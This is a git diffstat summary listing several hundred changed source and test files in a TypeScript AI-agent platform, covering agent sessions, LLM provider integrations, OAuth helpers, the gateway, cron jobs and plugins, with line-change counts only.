src/agents/sessions/auth-storage.ts | 554 +++ src/agents/sessions/bash-executor.test.ts | 23 + src/agents/sessions/bash-executor.ts | 172 + .../compaction/branch-summarization.ts | 68 + src/agents/sessions/compaction/compaction.ts | 110 + src/agents/sessions/compaction/index.ts | 6 + src/agents/sessions/defaults.ts | 3 + src/agents/sessions/diagnostics.ts | 15 + src/agents/sessions/event-bus.ts | 33 + src/agents/sessions/exec.ts | 111 + src/agents/sessions/extension-sdk.ts | 56 + src/agents/sessions/extensions/index.ts | 172 + .../loader.bun-virtual-modules.test.ts | 62 + src/agents/sessions/extensions/loader.test.ts | 76 + src/agents/sessions/extensions/loader.ts | 618 ++++ src/agents/sessions/extensions/runner.ts | 1147 ++++++ src/agents/sessions/extensions/types.ts | 1694 +++++++++ src/agents/sessions/extensions/wrapper.ts | 36 + src/agents/sessions/footer-data-provider.ts | 388 ++ src/agents/sessions/http-dispatcher.ts | 55 + src/agents/sessions/index.ts | 43 + src/agents/sessions/keybindings.ts | 378 ++ src/agents/sessions/messages.ts | 210 ++ src/agents/sessions/model-registry.test.ts | 76 + src/agents/sessions/model-registry.ts | 857 +++++ src/agents/sessions/model-resolver.test.ts | 55 + src/agents/sessions/model-resolver.ts | 629 ++++ src/agents/sessions/package-manager.test.ts | 182 + src/agents/sessions/package-manager.ts | 1625 +++++++++ src/agents/sessions/prompt-templates.ts | 315 ++ src/agents/sessions/provider-display-names.ts | 32 + src/agents/sessions/resolve-config-value.ts | 153 + src/agents/sessions/resource-loader.ts | 1028 ++++++ src/agents/sessions/sdk.test.ts | 75 + src/agents/sessions/sdk.ts | 439 +++ src/agents/sessions/session-cwd.ts | 62 + src/agents/sessions/session-manager.ts | 1462 ++++++++ src/agents/sessions/settings-manager.ts | 1111 ++++++ src/agents/sessions/skills.ts | 526 +++ src/agents/sessions/slash-commands.ts | 40 + src/agents/sessions/source-info.ts | 40 + src/agents/sessions/system-prompt.ts | 179 + src/agents/sessions/telemetry.ts | 17 + src/agents/sessions/timings.ts | 37 + src/agents/sessions/tools/bash-operations.ts | 12 + src/agents/sessions/tools/bash.ts | 473 +++ src/agents/sessions/tools/edit-diff.ts | 493 +++ src/agents/sessions/tools/edit.test.ts | 171 + src/agents/sessions/tools/edit.ts | 544 +++ .../sessions/tools/file-mutation-queue.ts | 39 + src/agents/sessions/tools/find.ts | 389 ++ src/agents/sessions/tools/grep.ts | 438 +++ src/agents/sessions/tools/index.ts | 213 ++ src/agents/sessions/tools/ls.ts | 245 ++ .../sessions/tools/output-accumulator.test.ts | 23 + .../sessions/tools/output-accumulator.ts | 224 ++ src/agents/sessions/tools/path-utils.ts | 102 + .../sessions/tools/private-temp-file.ts | 16 + src/agents/sessions/tools/read.test.ts | 23 + src/agents/sessions/tools/read.ts | 417 +++ src/agents/sessions/tools/render-utils.ts | 79 + src/agents/sessions/tools/tool-contracts.ts | 78 + .../sessions/tools/tool-definition-wrapper.ts | 51 + src/agents/sessions/tools/truncate.ts | 275 ++ src/agents/sessions/tools/write.test.ts | 120 + src/agents/sessions/tools/write.ts | 475 +++ src/agents/simple-completion-runtime.test.ts | 24 +- src/agents/simple-completion-runtime.ts | 28 +- .../simple-completion-transport.test.ts | 6 +- src/agents/simple-completion-transport.ts | 11 +- src/agents/skills/compact-format.test.ts | 2 +- src/agents/skills/skill-contract.ts | 5 +- src/agents/stream-compat.ts | 5 + src/agents/stream-message-shared.ts | 2 +- .../subagent-announce-delivery.runtime.ts | 8 +- src/agents/subagent-announce-delivery.test.ts | 164 +- src/agents/subagent-announce-delivery.ts | 52 +- .../subagent-announce.format.e2e.test.ts | 128 +- src/agents/subagent-announce.live.test.ts | 10 +- src/agents/subagent-announce.runtime.ts | 5 +- src/agents/subagent-announce.test-support.ts | 18 +- src/agents/subagent-announce.test.ts | 52 +- src/agents/subagent-announce.timeout.test.ts | 20 +- src/agents/subagent-announce.ts | 10 +- src/agents/subagent-control.runtime.ts | 2 +- src/agents/subagent-control.test.ts | 2 +- src/agents/subagent-control.ts | 19 +- .../subagent-registry-lifecycle.test.ts | 2 +- src/agents/subagent-registry-lifecycle.ts | 2 +- src/agents/subagent-spawn.workspace.test.ts | 11 - src/agents/system-prompt-report.ts | 62 +- src/agents/system-prompt.test.ts | 8 +- src/agents/system-prompt.ts | 8 +- .../test-helpers/agent-message-fixtures.ts | 4 +- ...en-mock.ts => agent-session-token-mock.ts} | 10 +- .../{pi-tool-stubs.ts => agent-tool-stubs.ts} | 2 +- ...s-helpers.ts => agent-tools-fs-helpers.ts} | 0 ...ts => agent-tools-sandbox-context.test.ts} | 10 +- ...text.ts => agent-tools-sandbox-context.ts} | 6 +- .../assistant-message-fixtures.ts | 2 +- ... => embedded-agent-runner-e2e-fixtures.ts} | 18 +- ....ts => embedded-agent-runner-e2e-mocks.ts} | 7 +- .../test-helpers/provider-alias-cases.ts | 15 - .../test-helpers/unsafe-mounted-sandbox.ts | 4 +- src/agents/test-helpers/usage-fixtures.ts | 2 +- src/agents/tool-call-id.test.ts | 2 +- src/agents/tool-call-id.ts | 2 +- src/agents/tool-images.ts | 4 +- src/agents/tool-policy-pipeline.ts | 4 +- src/agents/tool-replay-repair.live.test.ts | 20 +- src/agents/tool-search.test.ts | 4 +- src/agents/tool-search.ts | 101 +- src/agents/tools-effective-inventory.test.ts | 6 +- src/agents/tools-effective-inventory.ts | 4 +- src/agents/tools/agent-step.test.ts | 2 +- src/agents/tools/agent-step.ts | 2 +- src/agents/tools/agents-list-tool.test.ts | 6 +- src/agents/tools/chat-history-text.ts | 2 +- src/agents/tools/common.ts | 10 +- .../tools/gateway-tool-guard-coverage.test.ts | 6 +- src/agents/tools/image-generate-tool.test.ts | 2 +- src/agents/tools/image-tool.helpers.ts | 4 +- src/agents/tools/image-tool.test.ts | 21 +- src/agents/tools/image-tool.ts | 12 +- src/agents/tools/media-tool-shared.ts | 57 +- src/agents/tools/nodes-tool-media.ts | 2 +- src/agents/tools/pdf-native-providers.ts | 2 +- src/agents/tools/pdf-tool.helpers.ts | 4 +- src/agents/tools/pdf-tool.test.ts | 7 +- src/agents/tools/pdf-tool.ts | 3 +- src/agents/tools/sessions-send-helpers.ts | 4 +- src/agents/tools/sessions-send-tool.ts | 18 +- src/agents/tools/tool-runtime.helpers.ts | 2 +- src/agents/transcript-policy.ts | 3 +- src/agents/transcript-redact.test.ts | 2 +- src/agents/transcript-redact.ts | 2 +- .../transport-message-transform.test.ts | 6 +- src/agents/transport-message-transform.ts | 8 +- .../transport-params-runtime-contract.test.ts | 10 +- src/agents/transport-stream-shared.ts | 2 +- src/agents/usage.test.ts | 2 +- src/agents/usage.ts | 2 +- src/agents/utils/ansi.ts | 60 + src/agents/utils/child-process.ts | 127 + src/agents/utils/exif-orientation.ts | 220 ++ src/agents/utils/frontmatter.ts | 40 + src/agents/utils/fs-watch.ts | 30 + src/agents/utils/git.test.ts | 19 + src/agents/utils/git.ts | 233 ++ src/agents/utils/html.ts | 51 + src/agents/utils/image-resize.ts | 189 + src/agents/utils/mime.ts | 90 + src/agents/utils/paths.ts | 78 + src/agents/utils/photon.ts | 139 + src/agents/utils/shell.ts | 203 ++ src/agents/utils/sleep.ts | 18 + src/agents/utils/syntax-highlight.ts | 155 + src/agents/utils/tools-manager.ts | 432 +++ src/agents/xai.live.test.ts | 25 +- src/agents/zai.live.test.ts | 15 +- src/auto-reply/fallback-state.test.ts | 25 +- src/auto-reply/fallback-state.ts | 20 +- src/auto-reply/get-reply-options.types.ts | 2 +- src/auto-reply/handoff-summarizer.ts | 2 +- ...irective.directive-behavior.e2e-harness.ts | 10 +- ....directive.directive-behavior.e2e-mocks.ts | 36 +- ...rrent-verbose-level-verbose-has-no.test.ts | 16 +- src/auto-reply/reply.test-harness.ts | 36 +- ...ge-summary-current-model-provider.cases.ts | 10 +- ...ets-active-session-native-stop.e2e.test.ts | 120 +- src/auto-reply/reply/abort.test.ts | 18 +- src/auto-reply/reply/abort.ts | 13 +- src/auto-reply/reply/acp-projector.ts | 2 +- .../reply/agent-runner-cli-dispatch.ts | 6 +- .../reply/agent-runner-execution.test.ts | 256 +- .../reply/agent-runner-execution.ts | 82 +- .../reply/agent-runner-memory.dedup.test.ts | 2 +- .../reply/agent-runner-memory.test.ts | 349 +- src/auto-reply/reply/agent-runner-memory.ts | 68 +- src/auto-reply/reply/agent-runner-payloads.ts | 4 +- .../reply/agent-runner.media-paths.test.ts | 102 +- .../agent-runner.misc.runreplyagent.test.ts | 155 +- .../agent-runner.runreplyagent.e2e.test.ts | 148 +- src/auto-reply/reply/agent-runner.ts | 14 +- .../reply/commands-abort-trigger.test.ts | 8 +- .../reply/commands-compact.runtime.ts | 10 +- src/auto-reply/reply/commands-compact.test.ts | 46 +- src/auto-reply/reply/commands-compact.ts | 8 +- .../reply/commands-context-report.ts | 2 +- .../reply/commands-export-session.test.ts | 12 +- .../reply/commands-export-session.ts | 32 +- src/auto-reply/reply/commands-models.test.ts | 79 +- src/auto-reply/reply/commands-models.ts | 37 +- src/auto-reply/reply/commands-status.test.ts | 24 +- .../reply/commands-steer.runtime.ts | 10 +- src/auto-reply/reply/commands-steer.test.ts | 34 +- src/auto-reply/reply/commands-steer.ts | 12 +- .../reply/commands-stop-target.test.ts | 8 +- .../reply/commands-system-prompt.test.ts | 4 +- .../reply/commands-system-prompt.ts | 8 +- src/auto-reply/reply/commands-types.ts | 2 +- .../conversation-label-generator.test.ts | 6 +- .../reply/conversation-label-generator.ts | 5 +- src/auto-reply/reply/current-turn-images.ts | 4 +- .../directive-handling.model-picker.test.ts | 11 +- .../reply/directive-handling.model.test.ts | 6 +- .../reply/directive-handling.persist.ts | 26 +- ...ispatch-from-config.shared.test-harness.ts | 2 +- .../reply/dispatch-from-config.test.ts | 2 +- src/auto-reply/reply/dispatch-from-config.ts | 18 +- src/auto-reply/reply/export-html/template.js | 4 +- src/auto-reply/reply/followup-delivery.ts | 2 +- src/auto-reply/reply/followup-runner.test.ts | 198 +- src/auto-reply/reply/followup-runner.ts | 32 +- .../reply/get-reply-inline-actions.ts | 2 +- .../reply/get-reply-run.media-only.test.ts | 104 +- src/auto-reply/reply/get-reply-run.ts | 40 +- .../reply/get-reply.fast-path.runtime.test.ts | 10 +- src/auto-reply/reply/model-selection.test.ts | 6 +- src/auto-reply/reply/normalize-reply.ts | 2 +- src/auto-reply/reply/prompt-prelude.ts | 2 +- src/auto-reply/reply/queue/cleanup.test.ts | 2 +- src/auto-reply/reply/queue/cleanup.ts | 2 +- src/auto-reply/reply/queue/types.ts | 2 +- src/auto-reply/reply/reply-payloads-dedupe.ts | 4 +- .../reply/runtime-plugins.runtime.ts | 1 - src/auto-reply/reply/session-fork.runtime.ts | 26 +- .../reply/session-hooks-context.test.ts | 2 +- .../reply/session-transcript-replay.ts | 2 +- src/auto-reply/reply/session.test.ts | 4 +- src/auto-reply/reply/session.ts | 2 +- .../reply/skill-tool-dispatch.runtime.ts | 6 +- src/auto-reply/status.test.ts | 64 +- src/auto-reply/thinking.test.ts | 4 +- .../plugins/message-action-dispatch.ts | 2 +- src/channels/plugins/types.core.ts | 4 +- src/cli/capability-cli.test.ts | 4 +- src/cli/capability-cli.ts | 4 +- src/cli/command-secret-targets.ts | 4 - src/cli/gateway-cli/lifecycle.runtime.ts | 4 +- src/cli/gateway-cli/run-loop.test.ts | 30 +- src/cli/gateway-cli/run-loop.ts | 10 +- src/cli/logs-cli.ts | 25 +- src/cli/models-cli.ts | 10 +- src/cli/plugins-cli.list.test.ts | 4 +- src/cli/plugins-cli.runtime.ts | 10 +- src/cli/root-help-live-config.ts | 1 - src/cli/skills-cli.test.ts | 2 +- src/commands/agent-command.test-mocks.ts | 6 +- src/commands/agent.acp.test.ts | 16 +- src/commands/agent.test.ts | 30 +- src/commands/auth-choice.test.ts | 2 - src/commands/chutes-oauth.ts | 2 +- src/commands/doctor-bootstrap-size.test.ts | 2 +- src/commands/doctor-bootstrap-size.ts | 2 +- src/commands/doctor-config-flow.test.ts | 11 +- src/commands/doctor-config-flow.ts | 13 +- src/commands/doctor-cron.test.ts | 4 +- .../doctor-legacy-config.migrations.test.ts | 12 +- src/commands/doctor-platform-notes.ts | 2 +- .../doctor-session-state-providers.test.ts | 14 +- src/commands/doctor-state-integrity.test.ts | 4 - .../active-tool-schema-warnings.test.ts | 4 +- .../shared/active-tool-schema-warnings.ts | 2 +- .../doctor/shared/codex-native-assets.ts | 4 +- .../shared/codex-route-warnings.test.ts | 68 +- .../doctor/shared/codex-route-warnings.ts | 92 +- .../configured-runtime-plugin-installs.ts | 3 +- .../shared/context-engine-host-compat.test.ts | 6 +- .../shared/context-engine-host-compat.ts | 18 +- .../doctor/shared/deprecation-compat.test.ts | 2 + .../doctor/shared/deprecation-compat.ts | 28 +- .../shared/legacy-config-core-normalizers.ts | 12 +- .../shared/legacy-config-migrate.test.ts | 126 +- ...legacy-config-migrations.runtime.agents.ts | 73 +- ...acy-config-migrations.runtime.providers.ts | 14 +- .../shared/legacy-runtime-model-providers.ts | 107 + .../missing-configured-plugin-install.ts | 20 +- .../plugin-tool-allowlist-warnings.test.ts | 41 +- .../shared/plugin-tool-allowlist-warnings.ts | 20 +- .../release-configured-plugin-installs.ts | 4 +- .../doctor/shared/stale-plugin-config.test.ts | 2 +- src/commands/model-picker.test.ts | 19 +- src/commands/models.list.e2e.test.ts | 4 +- src/commands/models/auth.test.ts | 2 - src/commands/models/auth.ts | 9 +- src/commands/models/list.configured.test.ts | 28 +- src/commands/models/list.configured.ts | 21 +- .../list.list-command.forward-compat.test.ts | 8 +- src/commands/models/list.list-command.ts | 19 +- src/commands/models/list.probe.test.ts | 6 +- src/commands/models/list.probe.ts | 6 +- .../models/list.provider-catalog.test.ts | 1 + src/commands/models/list.provider-catalog.ts | 14 +- src/commands/models/list.registry-load.ts | 16 +- src/commands/models/list.registry.ts | 20 +- src/commands/models/list.row-sources.ts | 2 +- src/commands/models/list.rows.ts | 46 +- src/commands/models/list.status.test.ts | 34 +- src/commands/models/provider-aliases.ts | 64 + src/commands/models/scan.ts | 2 +- src/commands/models/set.test.ts | 43 +- src/commands/models/shared.ts | 3 +- src/commands/onboard-auth.test.ts | 12 +- src/commands/onboard-custom-config.ts | 2 +- .../auth-choice.plugin-providers.runtime.ts | 4 +- .../auth-choice.plugin-providers.test.ts | 2 +- .../local/auth-choice.plugin-providers.ts | 9 +- src/commands/sessions-cleanup.test.ts | 4 +- .../sessions.acp-runtime-metadata.test.ts | 22 +- .../sessions.default-agent-store.test.ts | 14 +- .../sessions.model-resolution.test.ts | 4 +- src/commands/sessions.test-helpers.ts | 4 +- src/commands/sessions.test.ts | 30 +- src/commands/sessions.ts | 2 +- src/commands/status.command-sections.test.ts | 6 +- src/commands/status.command.ts | 9 +- .../status.gateway-connection.runtime.ts | 1 - src/commands/status.summary.runtime.test.ts | 6 +- src/commands/status.summary.runtime.ts | 2 +- src/commands/status.summary.test.ts | 2 +- src/commands/status.test-support.ts | 2 +- src/commands/status.test.ts | 12 +- src/commitments/runtime.test.ts | 22 +- src/commitments/runtime.ts | 8 +- src/config/config-misc.test.ts | 12 +- src/config/config.compaction-settings.test.ts | 2 +- src/config/config.hooks-module-paths.test.ts | 12 +- src/config/config.plugin-validation.test.ts | 68 +- src/config/defaults.ts | 2 +- src/config/plugin-auto-enable.core.test.ts | 12 +- src/config/plugin-auto-enable.shared.ts | 11 +- src/config/schema.help.ts | 66 +- src/config/schema.labels.ts | 18 +- src/config/sessions/store-load.ts | 2 +- .../sessions/store.skills-stripping.test.ts | 2 +- src/config/sessions/transcript-append.ts | 41 +- src/config/sessions/transcript-header.ts | 17 + src/config/sessions/transcript-jsonl.ts | 67 + src/config/sessions/transcript.ts | 30 +- src/config/sessions/types.ts | 4 +- src/config/sessions/version.ts | 1 + src/config/types.agent-defaults.ts | 30 +- src/config/types.agents-shared.ts | 4 +- src/config/types.agents.ts | 24 +- src/config/types.models.ts | 22 +- src/config/types.plugins.ts | 12 +- .../validation.channel-metadata.test.ts | 14 + src/config/validation.ts | 14 +- src/config/zod-schema.agent-defaults.test.ts | 40 +- src/config/zod-schema.agent-defaults.ts | 40 +- src/config/zod-schema.agent-runtime.ts | 38 +- src/context-engine/context-engine.test.ts | 16 +- src/context-engine/delegate.ts | 14 +- src/context-engine/host-compat.test.ts | 8 +- src/context-engine/host-compat.ts | 6 +- src/context-engine/legacy.ts | 4 +- src/context-engine/types.ts | 4 +- src/crestodian/assistant.test.ts | 30 +- src/crestodian/assistant.ts | 12 +- ...ted-agent.auth-profile-propagation.test.ts | 134 +- .../isolated-agent.delivery.test-helpers.ts | 6 +- ...olated-agent.hook-content-wrapping.test.ts | 37 +- src/cron/isolated-agent.lane.test.ts | 118 +- src/cron/isolated-agent.mocks.ts | 8 +- .../isolated-agent.model-overrides.test.ts | 16 +- .../isolated-agent.model-preflight.test.ts | 4 +- ...solated-agent.run-timeout-override.test.ts | 10 +- .../isolated-agent.session-identity.test.ts | 14 +- src/cron/isolated-agent.test-setup.ts | 4 +- src/cron/isolated-agent.turn-test-helpers.ts | 8 +- .../delivery-dispatch.double-announce.test.ts | 4 +- src/cron/isolated-agent/delivery-dispatch.ts | 2 +- .../isolated-agent/run-embedded.runtime.ts | 2 +- src/cron/isolated-agent/run-executor.ts | 4 +- .../run-runtime-plugins.runtime.ts | 1 - ...run.cron-model-override-forwarding.test.ts | 12 +- src/cron/isolated-agent/run.fast-mode.test.ts | 6 +- .../isolated-agent/run.interim-retry.test.ts | 20 +- .../run.live-session-model-switch.test.ts | 10 +- .../run.message-tool-policy.test.ts | 70 +- .../run.payload-fallbacks.test.ts | 8 +- .../run.session-key-isolation.test.ts | 10 +- src/cron/isolated-agent/run.test-harness.ts | 16 +- .../isolated-agent/run.tools-allow.test.ts | 12 +- src/cron/isolated-agent/run.ts | 4 +- src/cron/run-log.ts | 2 +- src/cron/service/timer.ts | 9 +- src/cron/types.ts | 4 +- src/extensionAPI.ts | 6 +- src/flows/doctor-core-checks.runtime.test.ts | 4 +- src/flows/doctor-core-checks.runtime.ts | 8 +- src/flows/doctor-core-checks.ts | 2 +- src/flows/doctor-tool-result-cap-advice.ts | 2 +- src/flows/model-picker.ts | 8 +- .../gateway-cli-backend.live-helpers.ts | 42 +- src/gateway/gateway-cli-backend.live.test.ts | 1 - .../gateway-codex-harness.live.test.ts | 8 +- .../gateway-models.profiles.live.test.ts | 189 +- src/gateway/mcp-http.handlers.ts | 2 +- src/gateway/mcp-http.test.ts | 2 +- src/gateway/openai-compat-errors.ts | 2 +- src/gateway/openai-http.test.ts | 10 +- src/gateway/openai-http.ts | 2 +- src/gateway/openresponses-http.test.ts | 2 +- src/gateway/openresponses-http.ts | 4 +- .../protocol/schema/agents-models-skills.ts | 2 +- src/gateway/server-close.test.ts | 12 +- src/gateway/server-close.ts | 4 +- src/gateway/server-cron.ts | 4 +- src/gateway/server-methods/AGENTS.md | 2 +- src/gateway/server-methods/agent.ts | 2 +- .../server-methods/chat-transcript-inject.ts | 4 +- .../chat.abort-persistence.test.ts | 2 +- .../chat.directive-tags.test.ts | 6 +- .../chat.inject.parentid.test.ts | 2 +- .../server-methods/chat.test-helpers.ts | 2 +- src/gateway/server-methods/chat.ts | 14 +- .../server-methods/models-auth-status.test.ts | 8 +- .../server-methods/models-auth-status.ts | 4 +- src/gateway/server-methods/sessions.ts | 22 +- src/gateway/server-reload-handlers.test.ts | 4 +- src/gateway/server-reload-handlers.ts | 12 +- .../server-startup-post-attach.test.ts | 8 + src/gateway/server-startup-post-attach.ts | 146 + src/gateway/server-startup.test.ts | 148 + ...erver.agent.gateway-server-agent-a.test.ts | 43 +- src/gateway/server.config-patch.test.ts | 2 +- src/gateway/server.impl.ts | 2 +- .../server.models-voicewake-misc.test.ts | 44 +- .../server.sessions.compaction.test.ts | 12 +- src/gateway/server.sessions.create.test.ts | 6 +- src/gateway/server.sessions.store-rpc.test.ts | 8 +- .../session-compaction-checkpoints.test.ts | 4 +- src/gateway/session-compaction-checkpoints.ts | 18 +- src/gateway/session-reset-service.ts | 10 +- src/gateway/session-utils.fs.test.ts | 22 +- src/gateway/sessions-history-http.test.ts | 2 +- src/gateway/talk-realtime-relay.test.ts | 2 +- src/gateway/test-helpers.mocks.ts | 68 +- src/gateway/test-helpers.runtime-state.ts | 12 +- src/gateway/test-helpers.server.ts | 18 +- src/gateway/test-helpers.ts | 2 +- .../test/server-sessions.test-helpers.ts | 12 +- src/gateway/tool-resolution.ts | 4 +- .../tools-invoke-http.cron-regression.test.ts | 4 +- src/gateway/tools-invoke-http.test.ts | 6 +- src/gateway/tools-invoke-shared.ts | 4 +- .../bundled/session-memory/handler.test.ts | 2 +- src/hooks/llm-slug-generator.test.ts | 22 +- src/hooks/llm-slug-generator.ts | 4 +- src/infra/abort-pattern.test.ts | 2 +- src/infra/dotenv.test.ts | 8 +- src/infra/dotenv.ts | 2 +- .../heartbeat-runner.tool-response.test.ts | 17 +- src/infra/heartbeat-runner.ts | 56 +- src/infra/npm-managed-root.test.ts | 6 +- src/infra/outbound/message-action-runner.ts | 2 +- src/infra/outbound/outbound-send-service.ts | 2 +- ...rovider-usage.auth.normalizes-keys.test.ts | 55 +- src/infra/provider-usage.auth.plugin.test.ts | 57 - src/infra/provider-usage.auth.ts | 11 +- src/infra/provider-usage.shared.test.ts | 41 +- src/infra/provider-usage.shared.ts | 31 - src/infra/restart-coordinator.ts | 2 +- src/infra/session-cost-usage.test.ts | 50 + src/infra/session-cost-usage.ts | 82 +- src/infra/tsdown-config.test.ts | 7 +- src/llm/api-registry.ts | 101 + src/llm/env-api-keys.test.ts | 108 + src/llm/env-api-keys.ts | 259 ++ src/llm/model-registry.ts | 8 + src/llm/model-utils.ts | 78 + src/llm/oauth.ts | 1 + src/llm/providers/anthropic.test.ts | 65 + src/llm/providers/anthropic.ts | 1264 +++++++ src/llm/providers/azure-openai-responses.ts | 339 ++ src/llm/providers/cloudflare.ts | 37 + src/llm/providers/github-copilot-headers.ts | 37 + .../providers/google-shared.convert.test.ts | 7 +- .../providers}/google-shared.test-helpers.ts | 2 +- src/llm/providers/google-shared.test.ts | 133 + src/llm/providers/google-shared.ts | 595 +++ src/llm/providers/google-vertex.ts | 398 +++ src/llm/providers/google.ts | 337 ++ src/llm/providers/mistral.ts | 723 ++++ .../providers/openai-codex-responses.test.ts | 85 + src/llm/providers/openai-codex-responses.ts | 1540 ++++++++ .../providers/openai-compatible-auth.test.ts | 57 + src/llm/providers/openai-completions.ts | 1241 +++++++ src/llm/providers/openai-prompt-cache.ts | 12 + .../providers/openai-responses-shared.test.ts | 124 + src/llm/providers/openai-responses-shared.ts | 566 +++ src/llm/providers/openai-responses-tools.ts | 146 + src/llm/providers/openai-responses.ts | 328 ++ src/llm/providers/register-builtins.ts | 408 +++ src/llm/providers/simple-options.ts | 67 + .../anthropic-cache-control-payload.test.ts | 0 .../anthropic-cache-control-payload.ts | 1 + .../anthropic-family-cache-semantics.ts | 2 +- .../anthropic-family-tool-payload-compat.ts | 6 +- .../providers/stream-wrappers/google.test.ts} | 2 +- .../providers/stream-wrappers/google.ts} | 2 +- .../stream-wrappers/minimax.test.ts} | 17 +- .../providers/stream-wrappers/minimax.ts} | 8 +- .../stream-wrappers/moonshot-thinking.ts} | 12 +- .../providers/stream-wrappers/moonshot.ts} | 8 +- .../providers/stream-wrappers/openai.test.ts} | 42 +- .../providers/stream-wrappers/openai.ts} | 43 +- .../providers/stream-wrappers/proxy.test.ts} | 23 +- .../providers/stream-wrappers/proxy.ts} | 15 +- .../reasoning-effort-utils.test.ts | 0 .../reasoning-effort-utils.ts | 2 +- .../stream-wrappers}/stream-payload-utils.ts | 2 +- .../providers/stream-wrappers/zai.ts} | 4 +- src/llm/providers/transform-messages.ts | 231 ++ src/llm/session-resources.ts | 24 + src/llm/stream.ts | 58 + src/llm/types.ts | 556 +++ src/llm/utils/diagnostics.ts | 51 + src/llm/utils/event-stream.ts | 97 + src/llm/utils/hash.ts | 13 + src/llm/utils/headers.ts | 7 + src/llm/utils/json-parse.ts | 124 + src/llm/utils/node-http-proxy.ts | 126 + src/llm/utils/oauth/anthropic.test.ts | 36 + src/llm/utils/oauth/anthropic.ts | 440 +++ src/llm/utils/oauth/github-copilot.test.ts | 50 + src/llm/utils/oauth/github-copilot.ts | 483 +++ src/llm/utils/oauth/index.ts | 161 + src/llm/utils/oauth/oauth-page.ts | 114 + src/llm/utils/oauth/openai-codex-jwt.ts | 31 + src/llm/utils/oauth/openai-codex.test.ts | 102 + src/llm/utils/oauth/openai-codex.ts | 516 +++ src/llm/utils/oauth/pkce.test.ts | 15 + src/llm/utils/oauth/pkce.ts | 40 + src/llm/utils/oauth/types.ts | 71 + src/llm/utils/overflow.ts | 158 + src/llm/utils/sanitize-unicode.ts | 28 + ...stuck-session-recovery.integration.test.ts | 4 +- ...tic-stuck-session-recovery.runtime.test.ts | 262 +- ...agnostic-stuck-session-recovery.runtime.ts | 35 +- src/mcp/plugin-tools-handlers.ts | 2 +- src/mcp/plugin-tools-serve.test.ts | 2 +- src/media-generation/capability-model-ref.ts | 85 + src/media-generation/catalog.ts | 9 +- src/media-generation/runtime-shared.ts | 49 +- src/media-understanding/apply.test.ts | 3 - src/media-understanding/image.test.ts | 15 +- src/media-understanding/image.ts | 39 +- .../runner.auto-audio.test.ts | 1 - src/media-understanding/runner.video.test.ts | 1 - .../runner.vision-skip.test.ts | 6 +- src/media/read-capability.ts | 2 +- src/plugin-sdk/agent-core.test.ts | 12 + src/plugin-sdk/agent-core.ts | 23 + src/plugin-sdk/agent-dir-compat.test.ts | 21 + src/plugin-sdk/agent-harness-runtime.ts | 69 +- src/plugin-sdk/agent-harness.ts | 2 +- src/plugin-sdk/agent-runtime.ts | 4 +- src/plugin-sdk/agent-sessions.ts | 1 + src/plugin-sdk/api-baseline.test.ts | 4 +- src/plugin-sdk/approval-reaction-runtime.ts | 93 +- src/plugin-sdk/json-unsafe-integers.ts | 5 + src/plugin-sdk/llm.ts | 54 + .../memory-core-host-runtime-core.ts | 6 +- src/plugin-sdk/memory-core-host-secret.ts | 2 +- src/plugin-sdk/provider-model-shared.ts | 2 +- src/plugin-sdk/provider-stream-shared.test.ts | 215 +- src/plugin-sdk/provider-stream-shared.ts | 174 +- src/plugin-sdk/provider-stream.test.ts | 45 +- src/plugin-sdk/provider-stream.ts | 22 +- src/plugin-sdk/provider-tools.ts | 45 +- src/plugin-sdk/provider-usage.ts | 6 +- src/plugin-sdk/simple-completion-runtime.ts | 2 +- src/plugin-sdk/test-env.ts | 2 +- .../openclaw-owned-tool-runtime-contract.ts | 4 +- .../outcome-fallback-runtime-contract.ts | 6 +- .../transcript-repair-runtime-contract.ts | 2 +- .../test-helpers/plugin-runtime-mock.ts | 14 +- .../test-helpers/provider-runtime-contract.ts | 52 +- src/plugin-sdk/test-helpers/stream-hooks.ts | 2 +- src/plugin-sdk/testing.ts | 2 +- src/plugin-sdk/tool-plugin.ts | 4 +- src/plugins/activation-context.ts | 40 +- src/plugins/agent-prompt-surface-kind.ts | 11 + .../agent-tool-result-middleware-types.ts | 10 +- .../agent-tool-result-middleware.test.ts | 6 +- src/plugins/agent-tool-result-middleware.ts | 14 +- .../bundled-capability-metadata.test.ts | 2 +- src/plugins/bundled-compat.test.ts | 42 + src/plugins/bundled-compat.ts | 41 +- .../capability-provider-runtime.test.ts | 94 +- src/plugins/capability-provider-runtime.ts | 7 +- src/plugins/channel-plugin-ids.test.ts | 41 +- src/plugins/cli-backend.types.ts | 2 + .../codex-app-server-extension-types.ts | 2 +- src/plugins/command-registration.ts | 5 +- src/plugins/command-registry-state.ts | 3 +- src/plugins/commands.test.ts | 8 +- src/plugins/compat/registry.test.ts | 22 + src/plugins/compat/registry.ts | 25 +- .../contracts/boundary-invariants.test.ts | 5 +- .../inventory/bundled-capability-metadata.ts | 21 +- src/plugins/contracts/loader.contract.test.ts | 41 +- src/plugins/contracts/registry.ts | 24 +- src/plugins/contracts/tts-contract-suites.ts | 23 +- src/plugins/document-extractors.runtime.ts | 3 +- src/plugins/gateway-startup-plugin-ids.ts | 207 +- src/plugins/hook-types.ts | 2 +- src/plugins/hooks.sync-only.test.ts | 2 +- src/plugins/host-hook-turn-types.ts | 2 +- src/plugins/manifest-registry.test.ts | 63 +- src/plugins/manifest-registry.ts | 24 +- src/plugins/manifest.ts | 4 - src/plugins/migration-provider-runtime.ts | 7 +- src/plugins/pi-package-graph.test.ts | 95 - src/plugins/provider-auth-choice.ts | 1 - src/plugins/provider-auth-helpers.ts | 2 +- src/plugins/provider-catalog.test.ts | 10 +- .../provider-discovery.runtime.test.ts | 231 +- src/plugins/provider-discovery.runtime.ts | 227 +- src/plugins/provider-external-auth.types.ts | 10 +- src/plugins/provider-hook-runtime.ts | 68 +- src/plugins/provider-model-compat.ts | 8 +- src/plugins/provider-model-helpers.test.ts | 2 +- .../provider-openai-codex-oauth.test.ts | 8 +- src/plugins/provider-openai-codex-oauth.ts | 2 +- src/plugins/provider-replay-helpers.ts | 2 +- src/plugins/provider-runtime-model.types.ts | 4 +- ...r-runtime.synthetic-auth-discovery.test.ts | 15 +- src/plugins/provider-runtime.test.ts | 153 +- src/plugins/provider-runtime.ts | 92 +- src/plugins/providers.runtime.ts | 19 +- src/plugins/providers.test.ts | 254 +- src/plugins/providers.ts | 98 +- src/plugins/runtime-plugins.runtime.ts | 1 + src/plugins/runtime/index.test.ts | 1 + src/plugins/runtime/runtime-agent.ts | 12 +- .../runtime/runtime-embedded-agent.runtime.ts | 1 + .../runtime/runtime-embedded-pi.runtime.ts | 1 - .../runtime/runtime-llm.runtime.test.ts | 6 +- src/plugins/runtime/runtime-llm.runtime.ts | 4 +- 